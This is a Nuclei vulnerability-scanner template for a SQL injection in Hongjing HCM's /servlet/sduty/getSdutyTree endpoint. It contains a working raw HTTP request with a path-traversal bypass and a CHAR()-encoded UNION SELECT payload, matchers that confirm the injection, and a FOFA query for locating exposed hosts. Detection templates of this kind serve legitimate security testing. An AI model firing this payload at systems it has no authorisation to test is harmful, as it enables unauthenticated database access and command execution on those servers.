nuclei-templates/http/vulnerabilities/hjsoft/hjsoft-hcm-sqli.yaml

32 lines
2.3 KiB
YAML
Raw Normal View History

2024-07-08 23:01:27 +00:00
id: hjsoft-hcm-sqli
info:
name: Hongjing HCM - Sql Injection
author: securityforeveryone
2024-07-09 10:44:29 +00:00
severity: high
2024-07-08 23:01:27 +00:00
description: |
There is a SQL injection vulnerability in the /servlet/sduty/getSdutyTree interface of Hongjing HCM. Unauthenticated remote attackers can execute arbitrary commands by exploiting the SQL injection vulnerability with the database xp_cmdshell, thereby controlling the server.
reference:
- https://github.com/wy876/POC/blob/main/%E5%AE%8F%E6%99%AFeHR%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3getSdutyTree%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
- https://blog.csdn.net/qq_41904294/article/details/140172351
- https://www.ddpoc.com/DVB-2024-7391.html
metadata:
verified: true
max-request: 1
fofa-query: app="HJSOFT-HCM"
tags: sqli,hjsoft,management-system
http:
- raw:
- |
GET /w_selfservice/oauthservlet/%2e./.%2e/servlet/sduty/getSdutyTree?param=child&target=1&codesetid=1&codeitemid=1%27+UNION+ALL+SELECT+NULL%2CCHAR%28113%29%2BCHAR%28120%29%2BCHAR%28106%29%2BCHAR%28112%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28119%29%2BCHAR%2885%29%2BCHAR%2873%29%2BCHAR%2887%29%2BCHAR%2899%29%2BCHAR%2875%29%2BCHAR%28116%29%2BCHAR%2872%29%2BCHAR%28113%29%2BCHAR%28104%29%2BCHAR%28107%29%2BCHAR%2889%29%2BCHAR%28115%29%2BCHAR%28108%29%2BCHAR%2873%29%2BCHAR%2884%29%2BCHAR%2869%29%2BCHAR%2873%29%2BCHAR%2875%29%2BCHAR%2883%29%2BCHAR%2898%29%2BCHAR%28116%29%2BCHAR%28120%29%2BCHAR%2889%29%2BCHAR%2884%29%2BCHAR%2882%29%2BCHAR%28120%29%2BCHAR%2884%29%2BCHAR%28116%29%2BCHAR%2888%29%2BCHAR%28112%29%2BCHAR%2887%29%2BCHAR%2873%29%2BCHAR%28109%29%2BCHAR%28104%29%2BCHAR%2887%29%2BCHAR%28102%29%2BCHAR%2897%29%2BCHAR%2877%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28106%29%2BCHAR%28122%29%2BCHAR%28113%29%2CNULL%2CNULL--+Iprd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
2024-07-09 10:44:29 +00:00
- 'contains(body,"qxjpqjwUIWcKtHqhkYslITEIKSbtxYTRxTtXpWImhWfaMqvjzq")'
- 'contains(header,"text/xml")'
2024-07-08 23:01:27 +00:00
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502201468a2f6d250e3c7b657984c2bf44c276e47dc58b619fb63d8eaa49de814acbe022100e110c88766244837c5fd8d9bf30d97134d399645ec02583d7a2aa9efb38f5cab:922c64590222798bb761d5b6d8e72950